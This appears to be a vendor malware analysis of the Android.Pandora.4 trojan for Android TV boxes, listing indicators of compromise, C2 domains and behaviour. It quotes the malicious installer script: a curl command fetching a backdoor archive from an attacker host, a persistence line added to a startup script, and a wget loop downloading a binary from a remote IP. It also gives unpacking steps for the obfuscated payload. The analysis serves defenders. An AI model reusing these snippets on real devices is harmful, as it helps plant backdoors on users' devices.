Android.Pandora.4

SHA1:

• 59c9f06b3ff2abceb7116ffc9f4566d2466ae4c4

Description

A trojan program designed to run on Android TV devices. Its main function is to launch two objects on a compromised device: a command-line interpreter with elevated privileges and an installer for the Android.Pandora.2 backdoor.

Indicators of compromise:

• GoMediaService, which can have different full names in different cases. For example:

  com.interactive.brasiliptv.service.GoMediaService
  com.main.service.GoMediaService
• The presence of the gomediad.so file in the assets/ directory of the .apk file

Operating routine

GoMediaService is started in the foreground when the device is booted, or when the application is started (when an activity is created).

The service copies the gomediad.so program from assets/ to the application file directory and runs it as follows:

This program is an ELF file, written in Go, that has been obfuscated and then packaged, making it difficult for it to be analyzed in detail.

So far, it has been determined that the program can do the following:

• send a request to hxxp://ip-api[.]com/json,
• establish communication with i4nl[.]yalywi1gso[.]com, port 9999 over the TCP protocol
• send data from hxxp://ip-api[.]com/json to i4nl[.]yalywi1gso[.]com receive UUID and then exchange the following messages

  

• unpack the following set of files:

  

The .tmp.sh file is the downloader and installer for the Android.Pandora.2 backdoor.

Some code snippets from this script:

Downloading and extracting Android.Pandora:

cd /data && /data/curl -C - hxxp://fadfatest[.]pneydn[.]com:8080/stb-download/tool/supervisord.tar.gz -O  && unzip supervisord.tar.gz  && chmod 755 curl pandoraspearrk supervisord s.conf arp 

Adding a line to the shell script:

super=`cat $rootspath|grep "/system/bin/supervisord -c /system/bin/s.conf "`
if [ "x${super}" == "x" ];then
    echo "\n" >> $rootspath
    echo "/system/bin/supervisord -c /system/bin/s.conf & " >> $rootspath
    check_ser_run
    resvalue=$?
    if [ "$resvalue" -eq 0 ];then
         nohup /system/bin/supervisord -c /system/bin/s.conf 2>&1 &
    fi
fi

Downloading additional programs:

function keep_get_tool()
{
    cd /data
    ret=0
    num=0
    if [ -f "/system/bin/curl" ];then
        return 
    fi
    if [ -f "/data/curl" ];then
        if [ `wc -c curl|awk -F" " '{print $1}'` -eq 1010536 ];then
            return 
        fi
    fi
    busybox wget -c hxxp://195[.]154.168.94/curl
    while true
    do
        echo 'start' ${num}
        num=`expr $num + 1`
        if [ `wc -c curl|awk -F" " '{print $1}'` -eq 1010536 ];then
            echo "ok"
            ret=1
            break
        fi
        busybox wget -c hxxp://195[.]154.168.94/curl
        sleep 2
        if [ "${num}" -gt 200 ];then
            ret=2;
            break;
        fi
    done
    chmod 755 curl
    cd /data
}

The installation script is detected as Android.Pandora.15.

The classes.dexfile is detected as Tool.AppProcessShell.1, a command-line interpreter with elevated privileges (the project is now abandoned by its author). This Dalvik Executable application is launched using app_process as follows:

Later, programs on the device can communicate with this command-line shell through open port 4521.

To unpack gomediad.so, you need to replace the byte sequence b"\x75\x40\x28\x71" with b"\x55\x50\x58\x21" throughout the file. Then this file can be unpacked with UPX.